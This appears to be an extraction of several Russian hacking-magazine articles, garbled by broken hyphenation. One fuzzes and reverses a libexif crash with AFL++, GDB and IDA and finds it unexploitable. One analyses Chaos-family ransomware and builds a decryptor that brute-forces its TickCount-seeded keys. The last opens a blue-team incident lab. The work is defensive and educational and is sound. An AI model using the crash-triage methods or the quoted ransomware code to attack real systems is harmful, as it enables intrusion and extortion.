• Сре ди ублюдков шел артист. PoC CVE-2023-2663
• На день те на ноги мои сталь ные кан далы. Парал лель ный фаз зинг AFL++

У AFL++ есть форк WinAFL. По нему рекомен дую эти статьи:
• Luke, I am your fuzzer. Авто мати зиру ем поиск уяз вимос тей в прог раммах
• WinAFL на прак тике. Учим ся работать фаз зером и искать дыры в соф те

За пус каем фаз зер:

afl-fuzz -i /path/to/testcases -o /path/to/crashes /path/to/binary @@ 

Здесь
 ука зыва ет на путь к тес ткей сам;• -i /path/to/testcases

 — мес то, куда будут попадать кра ши;• -o /path/to/crashes

 — этот параметр озна чает, что на ввод будут пос тупать дан ные
при запус ке прог раммы. Гру бо говоря, через , а не через 

.

• @@

argv[] scanf(

)

Пос ле запус ка появит ся окно фаз зера.

В нашей лабора тории есть про дукт, где про цесс запус ка фаз зера авто мати- 
зиро ван вплоть до вывода отче та. Он называ ется S0NGB1RDZ.

Дей ствия все те же самые, как и выше, толь ко в одной ути лите. Таким обра- 
зом, фазер мож но запус тить в четыре шага. На скрин шоте ниже — опции
для фаз зинга.

И вот резуль тат запус ка фаз зинга в S0NGB1RDZ.

Спус тя некото рое вре мя в пра вом вер хнем углу мож но уви деть най ден ные
кра ши.

Все най ден ные кра ши хра нят ся по пути 

.

/your_directory/out/default/
crashes

С фаз зингом закон чили, нас тало вре мя для ревер са!

Продолжение статьи →

https://www.virustotal.com/gui/
https://github.com/horsicq/Detect-It-Easy
https://www.piter.com/product/vskrytie-pokazhet-prakticheskiy-analiz-vredonosnogo-po
https://github.com/AFLplusplus/AFLplusplus
https://github.com/google/fuzzing/blob/master/tutorial/libFuzzerTutorial.md
https://codeby.net/threads/vse-te-kto-ne-proch-porazmjat-nemnogo-kosti-kiberpank-priglashaet-v-gosti-pwn-freefloat-ftp-server-1-0.82150/
https://xakep.ru/issues/xb/
https://www.amazon.com/IDA-Pro-Book-Unofficial-Disassembler/dp/1593272898
https://yutewiyof.gitbook.io/intro-rev-ida-pro
https://www.immunityinc.com/products/debugger/
https://github.com/eteran/edb-debugger
https://github.com/NationalSecurityAgency/ghidra/tree/master
https://xakep.ru/2019/03/20/nsa-ghidra/
https://xakep.ru/2019/03/21/ghidra-vs-crackme/
https://github.com/radareorg/radare2
https://github.com/libexif/libexif
https://github.com/libexif/exif/
https://habr.com/ru/articles/772156/
https://codeby.net/threads/sredi-ubljudkov-shel-artist-poc-cve-2023-2663.82037/
https://codeby.net/threads/nadente-na-nogi-moi-stalnye-kandaly-parallelnyj-fazzing-afl.82099/
https://xakep.ru/2019/05/23/fuzzer/
https://xakep.ru/2021/11/10/winafl/


ТРЕНИРУЕМСЯ АНАЛИЗИРОВАТЬ
БИНАРНЫЕ ФАЙЛЫ НА ПРИМЕРЕ

LIBEXIF

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÐÅÂÅÐÑ

Тут есть два пути. Пер вый — труш ный и хар довый: исполь зовать GDB и там
отсле живать цепоч ку вызовов, потом ревер сить в IDA Pro. Одна ко, ког да есть
исходный код, мож но облегчить себе задачу и при бег нуть к Eclipse-CDT.
Спой лер: мы даль ше будем исполь зовать все эти инс тру мен ты.

Eclipse-CDT
Eclipse-CDT — это сре да раз работ ки на C и C++, осно ван ная на плат форме
Eclipse. Сре ди ее воз можнос тей — нас трой ка управля емой сбор ки для раз- 
ных тул чей нов, стан дар тная сбор ка make, навига ция по исходно му коду, раз- 
нооб разные инс тру мен ты иссле дова ния кода, инс тру мен ты рефак торин га
и генера ции кода, а так же инс тру мен ты для визу аль ной отладки, вклю чая
прос мотр памяти, регис тров и дизас сем бле ра.

Так как прог рамма написа на на Java, необ ходимо ска чать Java SDK:

apt sudo install default-jdk 

Ска чаем прог рамму и рас паку ем ее:

wget https://www.eclipse.org/downloads/download.php?file=/technology/
epp/downloads/release/2021-03/R/eclipse-cpp-2021-03-R-linux-gtk-x86_
64.tar.gz](https://www.eclipse.org/downloads/download.php?file=/
technology/epp/downloads/release/2021-03/R/eclipse-cpp-2021-03-R-
linux-gtk-x86_64.tar.gz 

 tar -xzvf eclipse-cpp-2021-03-R-linux-gtk-x86_64.tar.gz 

В ито ге рас паков ки получа ем набор фай лов, сре ди которых будет исполня- 
емый файл . Запус каем его.eclipse

Нас встре чает вот такое, впол не информа тив ное окош ко.

В меню выбира ем File → Import, пос ле это го зада ем язык прог рамми рова ния,
в нашем слу чае это C/C++. Выбира ем пункт Existing Code as Makele Project,
пос коль ку у нас есть makele.

Makele — это файл, который исполь зует ся
для авто мати зации сбор ки и ком пилиро вания
прог рамм. Он содер жит все необ ходимые про- 
вер ки, нас трой ки и коман ды.

Да лее называ ем про ект, выбира ем дирек торию с прог раммой, в которой
при сутс тву ет makele, и ука зыва ем ком пилятор — Linux GCC.

Сле дующий шаг — под готов ка парамет ров отладки. Перехо дим на вклад ку
Run → Debug Congurations.

Да лее выбира ем C/C++ Application, а на вклад ке Main — нуж ный про ект.
На вклад ке Arguments вста вим путь до нашего краш-фай ла.

Те перь жмем Debug и попада ем в глав ное окно.

В левом спис ке мож но уви деть ошиб ку Segmentation fault, что озна чает потен- 
циаль ное перепол нение буфера. Так же мы видим мес та в коде, где была
обна руже на эта ошиб ка.

Те перь нуж но понять, почему воз ника ет ошиб ка и как это мож но про экс плу- 
ати ровать.

Идем копать ся в интерне те и узна ём, что эти ошиб ки потен циаль но могут
быть свя заны или с перепол нени ем кучи ( ), или с обыч ным
отка зом в обслу жива нии, которое тол ком ни к чему не при водит (

). Пока что нель зя с уве рен ностью ска зать, к какой имен но CVE отно сят- 
ся эти кра ши, поэто му про дол жим изу чение.

CVE-2009-3895
CVE-2012-

2836

Прос мотрев потен циаль но уяз вимые мес та, которые выяви ла Eclipse-CDT,
я обна ружил фун кцию .exif_data_load_data_thumbnail()

Од нако опре делить, почему упа ла прог рамма и что в это вре мя про исхо дило
с памятью, в Eclipse-CDT у меня не получи лось. Поэто му перехо дим к GDB.

GDB
GDB при годит ся нам, что бы опре делить цепоч ку вызовов фун кций.

Заг ружа ем прог рамму в GDB и запус каем с ука зани ем краш-фай ла:

gdb -q exif 
run crash.jpeg 

От ловить мес то падения нам поможет коман да .bt

 — это коман да в GDB, которая отоб ража ет
стек вызовов для текуще го потока. Стек вызовов
содер жит информа цию о фун кци ях, вызыва емых
в текущей точ ке прог раммы. GDB выведет спи- 
сок, начиная с самой высоко уров невой фун кции
и закан чивая фун кци ей, в которой про изош ла
ошиб ка.

bt

Прог рамма упа ла в этой фун кции, при чем внут ри этой фун кции, видимо, про- 
исхо дит копиро вание чего-то в кучу. Этот факт под твержда ет учас ток кода,
на котором оста новил ся отладчик, а так же регис тры.

На самом деле понят но, почему про изо шел краш. Регистр  ука зыва ет

на пус тую ячей ку динами чес кой памяти. Так как такого чан ка не сущес тву ет,
а прог рамма пыта ется перенес ти его в , воз ника ет ошиб ка. Вот этот
учас ток кода доказы вает нашу догад ку:

rsi

xmm0

rsi] 
0x7ffff7cc498d <__memmove_sse2_unaligned_erms+13> movups xmm0, 
xmmword ptr [

IDA Pro
Под клю чаем к делу IDA Pro, что бы понять, что про исхо дило до момен та
вызова уяз вимой фун кции. Мы можем пол ностью вос ста новить цепоч ку
вызовов и опре делить мес то падения прог раммы. Давай прой дем ся по всем
сра ботав шим фун кци ям:

 заг ружа ет файл, а затем вызыва ет 
для генера ции ;

• main() exif_loader_get_data()

ExifData

 зап рашива ет мес то для  и затем
вызыва ет  для чте ния потока бай тов из адре са

 дли ной . Про ще говоря, выделя ется
мес то для чте ния фай ла;

• exif_loader_get_data() ExifData

exif_data_load_data()

loader->buf loader->bytes_read

 про веря ет заголо вок, пос ле чего вызыва ет
;

• exif_data_load_data()

exif_data_load_data_content()

 счи тыва ет количес тво записей,
и для каж дой выпол няет ся мар шру тиза ция по тегу. Если тег —

, то есть , то
счи тыва ется дли на мини атю ры. Если зна чение  уже
уста нов лено, то вызыва ется , что бы
разоб рать мини атю ры;

• exif_data_load_data_content()

EXIF_TAG_JPEG_INTERCHANGE_FORMAT_LENGTH 0x0202

thumbnail_offset

exif_data_load_data_thumbnail

 копиру ет дан ные в динами чес кую
память и даль ше выводит на экран.

• exif_data_load_data_thumbnail()

Раз берем под робнее пос леднюю фун кцию.
В ее начале идет про вер ка раз мера и сме щения, если их сум ма боль ше

чис ла , то прог рамма завер шает ся.ds

Пос ле это го про веря ется память: если она выделе на, то очи щает ся.

Даль ше выделя ется новая память и про веря ется, выделе на ли она.

Пос ледний блок, который у меня выделен крас ным, и есть мес то, в котором
прог рамма пада ет.

У фун кции  три

аргу мен та:

void memcpy(void *dest, const void *src, size_t n)

 — ука затель на область памяти, в которую будут ско пиро ваны дан- 
ные;

• *dest

 — ука затель на область памяти, из которой будут ско пиро ваны дан- 
ные;

• *src

 — количес тво бай тов, которые нуж но ско пиро вать.• n

В кон тек сте иссле дуемой прог раммы для  пер вый аргу мент — дан- 

ные, вто рой аргу мент — сме щение, тре тий аргу мент — раз мер.

memcpy()

Бла года ря GDB я выяс нил, что регистр  хра нит в себе раз мер, регистр

 — ука затель на область памяти, из которой надо копиро вать, а сме щение

хра нит ся в регис тре . При чем адрес  получа ется путем сло жения сме- 

щения и начала адре са кучи, в которую был заг ружен файл. Это под твержда ет
инс трук ция  и регис тры.

rdx
rsi

rbp rsi

lea rsi, [r13+rbp+0]

В регис тре  хра нит ся зна чение , которое явля ется

перемен ной offset. В регис тре  — ука затель на кучу .

Пос ле сло жения получа ем зна чение , которое хра нит ся в 

и ука зыва ет в никуда. Собс твен но, что и тре бова лось доказать.

rbp 0x00000000FFFFFEC3
r13 0x000055F902C7C9A6

0x55fa02c7c869 rsi

Про деба жив прог рамму еще нес коль ко раз, я понял, что все эти зна чения
берут ся из самого фай ла, а не вычис ляют ся. Я открыл краш-файл в HEX-
редак торе и по сиг натуре нашел зна чение для перемен ной offset

 и раз мер .0x00000000FFFFFEC3 0x8cb

То есть если изме нить эти зна чения и заг рузить в прог рамму, то мож но
попасть в какой-то дру гой чанк и перете реть его. Одна ко, иссле довав память,
я выяс нил, что никуда это не при водит и про экс плу ати ровать этот баг
не получит ся. Поэто му, к сожале нию, до пол ного роад мэпа взло ма мы в этот
раз не дотяну ли.

ÂÛÂÎÄÛ

В этой статье я пос тарал ся показать шаги ревер сера на реаль ном кей се.
К велико му сожале нию, на прак тике быва ет такое, что уяз вимость не получа- 
ется про экс плу ати ровать и баг при водит толь ко к отка зу в обслу жива нии.
Одна ко в про цес се мы научи лись искать и собирать тар гет, фаз зить исполня- 
емый файл, поль зовать ся ста тичес ким ана лиза тором кода и иссле довать уяз- 
вимое мес то в бинаре. Думаю, вре мя пот рачено не зря!

По хожие задач ки ты можешь най ти в репози тории
Анто нио Морале са .Fuzzing 101

https://nvd.nist.gov/vuln/detail/CVE-2009-3895
https://nvd.nist.gov/vuln/detail/CVE-2012-2836
https://github.com/antonio-morales/Fuzzing101
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Иног да вирус ным ана лити кам уда ется бес- 
плат но рас шифро вать фай лы, за вос ста- 
нов ление которых тро яны-энко деры тре- 
буют очень мно го денег. Со сто роны
это выг лядит нас тоящей маги ей, но в ее
осно ве лежат иссле дова ния и зна ния о том,
как работа ют вре донос ные прог раммы.
Сегод ня мы раз берем ся в прин ципах дей-
ствия таких тро янов на при мере реаль ного
энко дера и напишем прог рамму — декодер
зашиф рован ных им фай лов.

Во вто рой полови не 2023 года коман да Positive Technologies по рас сле дова- 
нию инци ден тов PT CSIRT (PT Expert Security Center) раз бирала про исшес- 
твие в инфраструк туре одно го из сво их заказ чиков. Спе циалис ты приш ли
к выводу, что за слу чив шимся сто ят пред ста вите ли хакер ской груп пиров ки
Twelve. Груп па позици они рует себя как хак тивис тов полити чес кой нап равлен- 
ности и выбира ет себе цели сре ди рос сий ских ком паний и учрежде ний. Счи- 
тает ся, что эта груп па тес но свя зана с груп пиров кой Shadow, сме нив шей наз- 
вание сна чала на C0met, а с недав них пор, веро ятно, скры вающей ся
под име нем Darkstar.

Су дя по схо жему почер ку и инс тру мен тарию, эти две груп пиров ки явля- 
ются частью одной коман ды и отве чают за раз ные нап равле ния. Обе исполь- 
зуют в ходе атак раз личные вари анты шиф роваль щиков, пре иму щес твен но
семей ства LockBit/Babuk. Но если хакеры из Shadow занима ются вымога- 
тель ством, наз начая выкуп за ключ дешиф ровки, то пред ста вите ли Twelve
прос то стре мят ся нанес ти мак сималь ный ущерб целевой инфраструк туре,
при этом пуб ликуя в откры том дос тупе резуль таты сво ей работы, которые
иног да вклю чают в себя выг ружен ные из инфраструк туры чувс тви тель ные
дан ные.

ÈÍÖÈÄÅÍÒ

В ходе рас сле дова ния инци ден та спе циалис ты обна ружи ли очень подоз- 
ритель ный исполня емый файл с име нем . Его , что
вмес то при выч ного LockBit зло умыш ленни ки исполь зовали шиф роваль щик,
отно сящий ся к семей ству прог рамм-вымога телей Ryuk / Chaos / Yashma /
Obsidian ORB, который исполь зовал ся во  

.

twelve.exe ана лиз показал

мно жес тве вре донос ных кам паний
по все му миру

1,4 тысячи заг ружен ных вре донос ных сем плов chaos ransomware
на VirusTotal

Су дя по ряду приз наков, для генера ции вре донос ного фай ла, ско рее все го,
исполь зовал ся пуб лично дос тупный конс трук тор Chaos Ransomware Builder,
который поз воля ет зло умыш ленни кам кас томизи ровать вре донос ные прог- 
раммы-шиф роваль щики. С его помощью, нап ример, мож но изме нить имя
про цес са, имя фай ла с тре бова ниями, текст самих тре бова ний, задать спи- 
сок рас ширений шиф руемых фай лов, сбил дить дек риптор и так далее.

Ин терфейс Chaos Ransomware Builder

Сам тро ян написан на .NET, бла года ря чему мож но изу чить его фун кции, нап- 
ример в DNSpy.

Спи сок фун кций шиф роваль щика

Про бежав шись по основным фун кци ям, иссле дова тели выяс нили, что этот
энко дер шиф рует фай лы с исполь зовани ем алго рит ма AES, затем зашиф- 
ровыва ет клю чи AES встро енным откры тым RSA-клю чом и записы вает их
в конец зашиф рован ных фай лов.

ÏÓÁËÈ×ÍÛÉ RSA-ÊËÞ×

Для каж дого шиф руемо го фай ла тро ян генери рует инди виду аль ный AES-
ключ:

    string text = Program.CreatePassword(40); // Генерация ключа AES
    if (fileInfo.Length < (long)((ulong)-1926258176)) // Проверка 

размера файла
{

 if (Program.checkDirContains(files[i]))
{
      string keyRSA = Program.RSA_Encrypt(text, Program.rsaKey()); // 
Шифрование AES-ключа публичным RSA-ключом
    Program.AES_Encrypt(files[i], text, keyRSA); // Шифрование файлов
}
}

В пер вую оче редь было инте рес но понять, каким обра зом генери рует ся ключ
для AES. Фун кция генера ции клю ча выг лядит сле дующим обра зом:

    public static string CreatePassword(int length)
 {
      StringBuilder stringBuilder = new StringBuilder();
      Random random = new Random();
     while (0 < length--)
  {
   stringBuilder.Append(
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&
?&/"[random.Next(
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&
?&/".Length)]);
  }
   return stringBuilder.ToString();
 }

Ключ генери рует ся отдель но для каж дого фай ла на осно ве фун кции ,

при этом  запус кает ся без сида. Если в DNSpy перей ти в объ явле ние
клас са , то мы уви дим сле дующее.

Random
Random

Random

То есть , выз ванный без сида, в качес тве началь ного исполь зует зна- 

чение . Важ но отме тить, что это спра вед ливо

для при ложе ний .NET вер сии 4, генера ция ран дома для вер сий 5 и выше
исполь зует дру гие началь ные зна чения.

Random
Environment.TickCount

 — это количес тво мил лисекунд, про шед ших

с момен та запус ка сис темы. Таким обра зом, мож но пред положить, что, зная
зна чение сида, мы в сос тоянии «уга дывать» слу чай ные зна чения.

Environment.TickCount

Про верим наши пред положе ния. Возь мем фун кцию 

из вре доно са, добавим туда вывод текуще го зна чения 

 и сге нери рован ного пароля, а затем выведем получен ные зна- 
чения в кон соль:

CreatePassword
Environment.

TickCount

 using System;
 using System.Text;

 namespace test1
{

 class Program
{
    static void Main(string[] args)
 {
     string s = CreatePassword(40);
    Console.WriteLine("Key: " + s);
 }

    public static string CreatePassword(int length)
{
     StringBuilder stringBuilder = new StringBuilder();
     Random random = new Random();
    while (0 < length--)
 {
  stringBuilder.Append(
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&
?&/"[random.Next(
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&
?&/".Length)]);
 }
   Console.WriteLine("Environment.TickCount: " + Environment.TickCount
);
  return stringBuilder.ToString();
}
}
}

В резуль тате запус ка прог раммы получа ем сле дующие зна чения:

 

 

C:\temp>1.exe 
Environment.TickCount: 264152453 
Key: &Cer88Tf8sErkcxYAgR5CvdawGij/JqSEVOln8m/

Те перь орга низу ем добав ление сида в фун кцию генера ции клю ча и переда- 
дим туда зна чения  из пре дыду щего запус ка:TickCount

   static void Main(string[] args)
 {
     int seed = 264152453;
     string s = CreatePassword(40,seed);
    Console.WriteLine("Key: " + s);
 }

     public static string CreatePassword(int length,int seed)
{
     StringBuilder stringBuilder = new StringBuilder();
     Random random = new Random(seed);
    while (0 < length--)
 {
  stringBuilder.Append(
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&
?&/"[random.Next(
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&
?&/".Length)]);
 }
  return stringBuilder.ToString();
}

Мы получи ли тот же самый ключ. Сле дова тель но, зная сид, мы можем уга- 
дывать клю чи, сге нери рован ные на осно ве :Random()

 

 

C:\temp\rns>2.exe 
Key: &Cer88Tf8sErkcxYAgR5CvdawGij/JqSEVOln8m/

Продолжение статьи →

mailto:ko1mbo656@gmail.com
https://www.virustotal.com/gui/file/290072a9e1cf3872487cf586a592be534abc894d20ffd1121fe8338f1b52b451/detection
https://blog.talosintelligence.com/new-threat-actor-using-yashma-ransomware/
https://blog.qualys.com/vulnerabilities-threat-research/2022/01/17/the-chaos-ransomware-can-be-ravaging
https://cyble.com/blog/obsidian-orb-ransomware-demands-gift-cards-as-payment/


ИЗУЧАЕМ УСТРОЙСТВО ТРОЯНА-
ЭНКОДЕРА И СОЗДАЕМ

ПРОГРАММУ ДЕШИФРОВКИ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÎÏÐÅÄÅËßÅÌ ÇÍÀ×ÅÍÈß ENVIRONMENT.TICKCOUNT

Сле дующая задача — понять, каким обра зом мы можем узнать зна чения
, которые были в момент шиф рования фай лов. Эту

задачу мож но решить таким обра зом.

Environment.TickCount

1. Вы чис ляем раз ницу во вре мени в мил лисекун дах меж ду текущим зна чени- 
ем вре мени и вре менем, ког да файл был изме нен.

2. По луча ем текущее зна чение .Environment.TickCount

3. Вы чита ем пер вое из вто рого.

   static int GetTickCountAtFileCreation(string filePath)
 {
  try
  {
       FileInfo fileInfo = new FileInfo(filePath);
    if (fileInfo.Exists)
   {
      DateTime modtime= fileInfo.LastWriteTime;
         

  
int tickCountAtCreation = Environment.TickCount - (int)((

DateTime.Now - modtime).TotalMilliseconds);
     return tickCountAtCreation;
   }
}

На пишем стан дар тную фун кцию для шиф рования фай лов AES. На вход мы
будем переда вать путь к фай лу, путь для сох ранения зашиф рован ного фай ла
и пароль.

       static void AES_Encrypt(string inputFile, string outputFile, string
password)
{
      using (RijndaelManaged aesAlg = new RijndaelManaged())
 {
    aesAlg.KeySize = 128;
    aesAlg.BlockSize = 128;
    aesAlg.Padding = PaddingMode.PKCS7;

  // Generate a random IV
  aesAlg.GenerateIV();

       
  

using (Rfc2898DeriveBytes keyDerivation = new Rfc2898DeriveBytes(
password, aesAlg.IV, 10000))
  {
       aesAlg.Key = keyDerivation.GetBytes(aesAlg.KeySize / 8);
  }

        
 

using (FileStream fsOutput = new FileStream(outputFile, FileMode.
Create, FileAccess.Write))
  {
     fsOutput.Write(aesAlg.IV, 0, aesAlg.IV.Length);

         
 

using (CryptoStream cryptoStream = new CryptoStream(fsOutput,
aesAlg.CreateEncryptor(), CryptoStreamMode.Write))
   {
          using (FileStream fsInput = new FileStream(inputFile, FileMode.
Open))
    {
     fsInput.CopyTo(cryptoStream);
    }
   }
  }
 }
}

Те перь зашиф руем тес товый файл, выведя в кон соль зна чения 
 и . Получим сле дующий резуль тат:

Environment.
TickCount key

 

 

C:\temp>enc.exe 
Environment.TickCount:335877046 
Key: axnN3z=V7TXfLGK7PHfCVgRaqip8XzI1s&r1coSW
File encrypted successfully.

При про вер ке фун кции опре деле ния  для зашиф- 

рован ного фай ла мы получим сле дующее зна чение:

Environment.TickCount

Environment.TickCount at creation: 335877090 

Мы видим, что получен ные резуль таты нем ного отли чают ся (в дан ном слу- 
чае — на 44 мс), пос коль ку зна чение  вычис ляет ся
чуть рань ше, чем файл записы вает ся на диск. Это озна чает, что при рас- 
шифров ке нам при дет ся переби рать зна чения сида для ран дома с усло вием
«пог решнос ти» TickCount’а. Отсю да так же сле дует, что необ ходимо будет
как-то опре делять момент, ког да ключ подошел и дан ные успешно рас- 
шифро вались.

Environment.TickCount

PROOF OF CONCEPT

Лю бая теория бес полез на без прак тики, потому на осно ве про веден ного
нами иссле дова ния мы соз дадим proof of concept. Для это го мы будем
исполь зовать вот такой код:

     static bool MatchHeader(byte[] bytesToCheck, byte[] header)
{
    if (bytesToCheck.Length < header.Length)
 {
   return false;
 }

         for (int i = 0; i < header.Length; i++)
 {
     if (bytesToCheck[i] != header[i])
  {
    return false;
  }
 }

   return true; // Header matched
}

...

   static bool IsValidFileHeader(byte[] decryptedBytes)
{
    if (decryptedBytes.Length < 4)
 {
    return false; // Not enough bytes to check header
 }

 // Check for different file headers
          
 
if (MatchHeader(decryptedBytes, new byte[] { 0xD0, 0xCF, 0x11, 0xE0

}) ||
          

   
MatchHeader(decryptedBytes, new byte[] { 0x37, 0x7A, 0xBC, 0xAF,

0x27, 0x1C }) ||
         MatchHeader(decryptedBytes, new byte[] { 0x4D, 0x5A }) ||
          MatchHeader(decryptedBytes, new byte[] { 0x50, 0x4B, 0x03, 0x04 })
)
 {
    return true; // Matched one of the headers
 }

  return false;
}

В этом при мере пос ле при мене ния кода для рас шифров ки в фун кцию про- 
вер ки  переда ется буфер рас шифро ван ных дан ных. Бай ты хедера срав- 
нива ются, и если дан ные смат чились, то рас шифро ван ный файл записы вает- 
ся на диск. А вот сама фун кция рас шифров ки AES:

magic

       static bool AES_Decrypt(string inputFile, string password, string
outputFile)
{
 try
 {
       using (RijndaelManaged aesAlg = new RijndaelManaged())
  {
     aesAlg.KeySize = 128;
     aesAlg.BlockSize = 128;
     aesAlg.Padding = PaddingMode.PKCS7;

         byte[] iv = new byte[aesAlg.BlockSize / 8];

         
 

using (FileStream fsInput = new FileStream(inputFile, FileMode.
Open, FileAccess.Read))
   {
      fsInput.Read(iv, 0, iv.Length);

         
  

using (Rfc2898DeriveBytes keyDerivation = new Rfc2898DeriveBytes
(password, iv, 10000))
    {

         aesAlg.Key = keyDerivation.GetBytes(aesAlg.KeySize / 8);
       aesAlg.IV = iv;

    }

          
 

using (CryptoStream cryptoStream = new CryptoStream(fsInput,
aesAlg.CreateDecryptor(), CryptoStreamMode.Read))
    {

      int bytesRead;
         byte[] buffer = new byte[4096];

          using (MemoryStream decryptedMemoryStream = new MemoryStream())
     {

     
  

      while ((bytesRead = cryptoStream.Read(buffer, 0, buffer.Length
)) > 0)
      {

         decryptedMemoryStream.Write(buffer, 0, bytesRead);
      }

      // Check the file header in the decrypted data
       if (IsValidFileHeader(decryptedMemoryStream.ToArray()))

      {
        File.WriteAllBytes(outputFile, decryptedMemoryStream.ToArray

());
        return true;

      }
      else
      {

        return false;
      }
     }
    }
   }
  }
 }
   catch (CryptographicException ex)
 {
  // Handle decryption failure (e. g., incorrect password)
  Console.WriteLine($"Decryption error: {ex.Message}");
   return false;
 }
   catch (Exception ex)
 {
  // Handle other exceptions
  Console.WriteLine($"An unexpected error occurred: {ex.Message}");
   return false;
 }
}

Код вызова фун кции рас шифров ки с уче том перебо ра зна чений выг лядит
сле дующим обра зом (в него заложе на пог решность в 100 мс):

   int tickCountAtCreation = GetTickCountAtFileCreation(encryptedFile);

           for (int i = tickCountAtCreation - 100; i < tickCountAtCreation; i
++)
 {
      string s = CreatePassword(40, i);
        Console.WriteLine("tickCount: " + i + " Guess password:" + s);
    if (AES_Decrypt(encryptedFile,s, decryptedFile))
  {
    Console.WriteLine("Yeeeaaah, Key found: "+ s);
   break;
  }

Ре зуль тат мож но уви деть на пред став ленном ниже скрин шоте.

Ключ успешно подоб ран, дан ные рас шифро ваны. Как работа этой прог раммы
выг лядит вжи вую, можешь пос мотреть .на YouTube

Этот PoC реали зован в иде аль ных усло виях, нарушить которые может
даже перезаг рузка сис темы пос ле шиф рования. В таком слу чае зна чение

 будет сбро шено и вычис лить его на момент соз- 

дания фай ла мы уже не смо жем. В такой ситу ации необ ходимо искать тай- 
мстем пы вре мени заг рузки сис темы перед тем, как фай лы были зашиф- 
рованы.

Environment.TickCount

Най ти их (с опре делен ной пог решностью) мож но в сле дующих мес тах
в зависи мос ти от име ющей ся инфраструк туры:

в жур нале событий Windows (Event ID: 41, 1074, 6005, 6006, 6008);•
в сис теме SIEM;•
в SCCM;•
в сис темах монито рин га (Zabbix, SolarWinds).•

Ре али зуем фун кцию получе ния зна чения  для фай ла на осно ве

передан ного вре мени, что бы мы мог ли вруч ную передать пред полага емое
зна чение вре мени заг рузки сис темы:

TickCount

    
 

static int CalculateTickCountAtCreation(DateTime specificDateTime,
string filePath)
{
 try
 {
      FileInfo fileInfo = new FileInfo(filePath);

   if (fileInfo.Exists)
  {
      DateTime creationTime = fileInfo.LastWriteTime;

      if (specificDateTime > creationTime)
   {
    Console.WriteLine("Error: specificDateTime is greater than File 
Creation DateTime.");
     return -1;
   }

        int tickCountAtSpecificTime = (int)((creationTime -
specificDateTime).TotalMilliseconds);
    return tickCountAtSpecificTime;
  }
  else
  {
   Console.WriteLine("File not found.");
    return -1;
  }
 }
   catch (Exception ex)
 {
  Console.WriteLine($"An error occurred: {ex.Message}");
   return -1;
 }
}

Эта фун кция будет счи тать раз ницу в мил лисекун дах меж ду вре менем соз- 
дания фай ла и передан ным тай мстем пом. Про верим, работа ет ли наш код.
Зна чение вре мени заг рузки сис темы возь мем из события  жур нала

. Получа ем сле дующие зна чения:
6005

System

     Environment.TickCount at file creation: 608384267 // Вычисление на 
основе текущего TickCount

     Environment.TickCount at specific time: 608363454 // Вычисление на 
основе переданного таймстемпа

В сред нем раз ница получа ется при мер но 20 с — это вре мя задер жки запус ка
служ бы жур нала событий, на которое мы ори енти руем ся и которое дол жны
заложить в цик ле перебо ра зна чений клю ча при рас шифров ке фай лов.

ÂÛÂÎÄÛ

В ито ге для соз дания дек рипто ра фай лов, зашиф рован ных тро яном-энко- 
дером, необ ходимо реали зовать:

фун кцию для получе ния при мер ного зна чения 
на момент шиф рования фай ла;

• Environment.TickCount

фун кцию генера ции пароля для AES, ана логич ную исполь зуемой в тро яне,
с переда чей в нее получен ного зна чения 
в качес тве сида для ;

•
Environment.TickCount

Random

фун кцию дек рипта зашиф рован ных AES-фай лов. В ней, перед попыт кой
рас шифров ки фай ла, необ ходимо пре дус мотреть код для отре зания бай- 
тов зашиф рован ного RSA AES-клю ча (344 бай та в нашем при мере),
который дописы вает ся вре доно сом в конец зашиф рован ного фай ла;

•

фун кцию валида ции рас шифро ван ных дан ных. Для это го мож но про верять
зна чения  в заголов ках фай лов или, нап ример, счи тать энтро пию.

•
magic

За шиф рован ный AES-ключ, дописан ный в конец фай ла

Та ким обра зом мы можем успешно реали зовать собс твен ный дек риптор
для фай лов, зашиф рован ных тро яном-энко дером с рас смот ренным уяз- 
вимым алго рит мом.

https://youtu.be/WjGb05mq4S0
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ВЗЛОМ

Се год ня мы поуп ражня емся в ана лизе тра- 
фика при помощи Wireshark, раз берем
брут форс-ата ку Credential Stuffing и про ана- 
лизи руем метод зак репле ния зло умыш- 
ленни ка в сис теме. Затем пос тро им тай- 
млайн событий.

На ша цель — рас сле дова ние инци ден та в рам ках лабора тор ной работы
 из нового раз дела  под наз вани ем . Он пред- 

назна чен для обу чения и тре ниров ки ребят из blue team, то есть коман ды
защит ников.

Meerkat Hack The Box Sherlocks

Î SHERLOCKS

Sherlocks — это прак тичес кие лабора тор ные работы по кибер безопас ности,
в которых смо дели рова ны реаль ные инци ден ты. Раз дел пред лага ет про- 
водить рас сле дова ния на осно ве пре дос тавлен ного сце нария кибера таки
и улик. Цель — узнать, как про исхо дила ата ка, и рас крыть все воз можные
под робнос ти.

Это поз воля ет раз вить навыки в областях циф ровой форен зики и реаги- 
рова ния на инци ден ты (DFIR), охо те за угро зами (Threat Hunting и Threat
Intelligence) и ана лизе мал вари.

В ходе решения лабора тор ных работ учас тни ку пред лага ют отве чать
на воп росы, и отве ты в совокуп ности будут давать пол ное пред став ление
о про изо шед шем инци ден те.

За дания совер шенно бес плат ны, одна ко некото рые из них пос тепен но
ста новят ся дос тупны ми толь ко с под писка ми VIP и VIP+.

MEERKAT

Пер вое и дос таточ но прос тое задание — лабора тор ная работа с наз вани ем
Meerkat.

Сце нарий: Forela — быс тро рас тущий стар тап, который исполь зует плат- 
форму управле ния биз несом. К сожале нию, докумен тация у нее скуд ная,
а адми нис тра торы стар тапа не очень хорошо осве дом лены о пра вилах
безопас ности. Мы игра ем роль пред ста вите ля отде ла безопас ности. Наша
цель — по дан ным в виде фай лов PCAP и экспор тирован ным жур налам под- 
твер дить факт ком про мета ции.

Ска чива ем архив с необ ходимы ми арте фак тами и начина ем рас сле дова- 
ние. Внут ри — файл сетево го тра фика .pcap и файл .json с событи ями
безопас ности. Нашим основным инс тру мен том будет Wireshark.

